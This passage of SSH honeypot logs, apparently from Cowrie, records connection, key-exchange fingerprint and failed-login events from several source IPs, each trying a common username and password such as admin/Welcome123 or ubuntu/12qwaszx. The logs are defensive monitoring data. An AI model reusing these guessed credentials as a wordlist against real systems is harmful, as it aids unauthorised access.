stp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:25.558470Z","src_ip":"124.13.124.212","session":"22eab6eb1978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"an","password":"test123","message":"login attempt [an/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:26.557657Z","src_ip":"124.13.124.212","session":"22eab6eb1978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:27.805575Z","src_ip":"124.13.124.212","session":"22eab6eb1978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34172,"dst_ip":"159.203.135.109","dst_port":22,"session":"78cb661f53ee","protocol":"ssh","message":"New connection: 159.203.92.129:34172 (159.203.135.109:22) [session: 78cb661f53ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:29.645130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:29.649360Z","src_ip":"159.203.92.129","session":"78cb661f53ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:29.654332Z","src_ip":"159.203.92.129","session":"78cb661f53ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"77777777","message":"login attempt [alias/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:29.665055Z","src_ip":"159.203.92.129","session":"78cb661f53ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:30.671493Z","src_ip":"159.203.92.129","session":"78cb661f53ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":33944,"dst_ip":"10.17.0.5","dst_port":22,"session":"509af203fd69","protocol":"ssh","message":"New connection: 171.244.143.209:33944 (10.17.0.5:22) [session: 509af203fd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:52.019899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:52.024037Z","src_ip":"171.244.143.209","session":"509af203fd69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:52.278980Z","src_ip":"171.244.143.209","session":"509af203fd69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1qaz@WSX","message":"login attempt [testuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:53.332201Z","src_ip":"171.244.143.209","session":"509af203fd69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:13:54.589815Z","src_ip":"171.244.143.209","session":"509af203fd69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":17055,"dst_ip":"159.203.135.109","dst_port":22,"session":"facef29f9b03","protocol":"ssh","message":"New connection: 119.195.89.96:17055 (159.203.135.109:22) [session: facef29f9b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:06.944720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:06.949105Z","src_ip":"119.195.89.96","session":"facef29f9b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:07.144798Z","src_ip":"119.195.89.96","session":"facef29f9b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer1","password":"developer1","message":"login attempt [developer1/developer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:07.948433Z","src_ip":"119.195.89.96","session":"facef29f9b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:09.144099Z","src_ip":"119.195.89.96","session":"facef29f9b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59266,"dst_ip":"159.203.135.109","dst_port":22,"session":"55ba89a0fe9b","protocol":"ssh","message":"New connection: 159.203.92.129:59266 (159.203.135.109:22) [session: 55ba89a0fe9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:11.608560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:11.613142Z","src_ip":"159.203.92.129","session":"55ba89a0fe9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:11.617782Z","src_ip":"159.203.92.129","session":"55ba89a0fe9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"888888","message":"login attempt [alias/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:11.633797Z","src_ip":"159.203.92.129","session":"55ba89a0fe9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:12.640304Z","src_ip":"159.203.92.129","session":"55ba89a0fe9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":39998,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3c02fdd7d8b","protocol":"ssh","message":"New connection: 124.13.124.212:39998 (159.203.135.109:22) [session: b3c02fdd7d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:20.442023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:20.447424Z","src_ip":"124.13.124.212","session":"b3c02fdd7d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:20.692694Z","src_ip":"124.13.124.212","session":"b3c02fdd7d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:21.726678Z","src_ip":"124.13.124.212","session":"b3c02fdd7d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:22.972974Z","src_ip":"124.13.124.212","session":"b3c02fdd7d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55514,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f390c9c482","protocol":"ssh","message":"New connection: 159.203.92.129:55514 (159.203.135.109:22) [session: 40f390c9c482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.447945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.453224Z","src_ip":"159.203.92.129","session":"40f390c9c482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.458383Z","src_ip":"159.203.92.129","session":"40f390c9c482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"Abc123","message":"login attempt [alias/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.472821Z","src_ip":"159.203.92.129","session":"40f390c9c482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":36640,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9b76b92baa8","protocol":"ssh","message":"New connection: 171.244.143.209:36640 (10.17.0.5:22) [session: a9b76b92baa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.833494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:54.841503Z","src_ip":"171.244.143.209","session":"a9b76b92baa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:55.100433Z","src_ip":"171.244.143.209","session":"a9b76b92baa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:55.481221Z","src_ip":"159.203.92.129","session":"40f390c9c482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Welcome123","message":"login attempt [admin/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:56.174322Z","src_ip":"171.244.143.209","session":"a9b76b92baa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:14:57.425975Z","src_ip":"171.244.143.209","session":"a9b76b92baa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":22284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c324e516ef50","protocol":"ssh","message":"New connection: 119.195.89.96:22284 (159.203.135.109:22) [session: c324e516ef50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:01.859746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:01.865633Z","src_ip":"119.195.89.96","session":"c324e516ef50","protocol":"ssh"}
